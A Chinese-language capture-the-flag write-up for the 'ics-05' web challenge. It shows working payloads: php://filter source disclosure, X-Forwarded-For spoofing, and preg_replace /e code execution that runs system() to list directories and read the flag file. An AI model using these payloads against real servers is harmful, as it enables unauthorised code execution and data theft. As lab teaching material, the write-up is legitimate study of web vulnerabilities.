CTF-WEB:攻防世界 ics-05(preg_replace() 函数 /e 漏洞)

文件包含

根据题目描述“其他破坏者会利用工控云管理系统设备维护中心的后门入侵系统”,打开设备维护中心后查看 F12。

看到超链接中有 “?page” 这个 GET 方法传递的参数,考虑在这个参数使用 PHP 伪协议中的 “php://filter” 读取 index 的源码。

?page=php://filter/read=convert.base64-encode/resource=index.php

利用 payload 成功读取到了 index.php 的 base64 加密形式,把它转换回我们能看得懂的。

if ($_SERVER['HTTP_X_FORWARDED_FOR'] === '127.0.0.1') {
	echo "<br >Welcome My Admin ! <br >";
	$pattern = $_GET[pat];
	$replacement = $_GET[rep];
	$subject = $_GET[sub];
	if (isset($pattern) && isset($replacement) && isset($subject)) {
		preg_replace($pattern, $replacement, $subject);
	} else {
		die();
	}
}

响应头伪造

观察到 index.php 被执行的条件是 “$_SERVER['HTTP_X_FORWARDED_FOR'] === '127.0.0.1'”,也就是说这个请求必须是本地的请求,修改 HTTP 响应头 X_FORWARDED_FOR 的值为 “127.0.0.1”。

preg_replace() 函数

这段 PHP 代码会获取 3 个变量:pat、rep 和 sub 的值,然后进入一个 if-else 语句。isset() 函数在 PHP 中用来判断变量是否声明,此处如果这 3 个值都有传递就会执行 preg_replace()函数。
preg_replace 函数执行一个正则表达式的搜索和替换,语法如下:

mixed preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit = -1 [, int &$count ]] )
参数 说明
$pattern 要搜索的模式,可以是字符串或一个字符串数组
$replacement 用于替换的字符串或字符串数组
$subject: 要搜索替换的目标字符串或字符串数组
$limit 可选,对于每个模式用于每个 subject 字符串的最大可替换次数。默认是 -1(无限制)
$count 可选,为替换执行的次数

如果 subject 是一个数组, preg_replace() 返回一个数组,其他情况下返回一个字符串。如果匹配被查找到,替换后的 subject 被返回,其他情况下 返回没有改变的 subject。如果发生错误,返回 NULL。
这个函数有个 “/e” 漏洞,“/e” 修正符使 preg_replace() 将 replacement 参数当作 PHP 代码进行执行。如果这么做要确保 replacement 构成一个合法的 PHP 代码字符串,否则 PHP 会在报告在包含 preg_replace() 的行中出现语法解析错误。

获取 flag

也就是说只要在 sub 参数中有要搜索的 pat 的内容,同时将在 rep 前加上 “/e” 触发漏洞,就可以执行 replacement 中的 PHP 代码。sub 和 pat 的参数构造只要满足前面的条件就行,rep 参数则设置为 “system('ls')”,这句代码用于命令行执行 ls 命令获取目录下的所有文件。

?pat=/abc/e&rep=system('ls')&sub=abc


执行成功,发现目录下的 s3chahahaDir 文件夹的名字很可疑,再次执行 ls 命令在该文件中查看内容。

?pat=/abc/e&rep=system('ls+s3chahahaDir')&sub=abc


执行成功,发现 s3chahahaDir 下有个 flag 文件夹,那就更可疑了,再次执行 ls 命令在该文件中查看内容。

?pat=/abc/e&rep=system('ls+s3chahahaDir/flag')&sub=abc


执行成功,发现 flag 文件夹下有一个 flag.php 文件,使用 cat 命令查看文件。查看之后打开 F12,即可看到 flag。

?pat=/abc/e&rep=system('cat+s3chahahaDir/flag/flag.php')&sub=abc

原文地址:https://www.cnblogs.com/linfangnan/p/13625741.html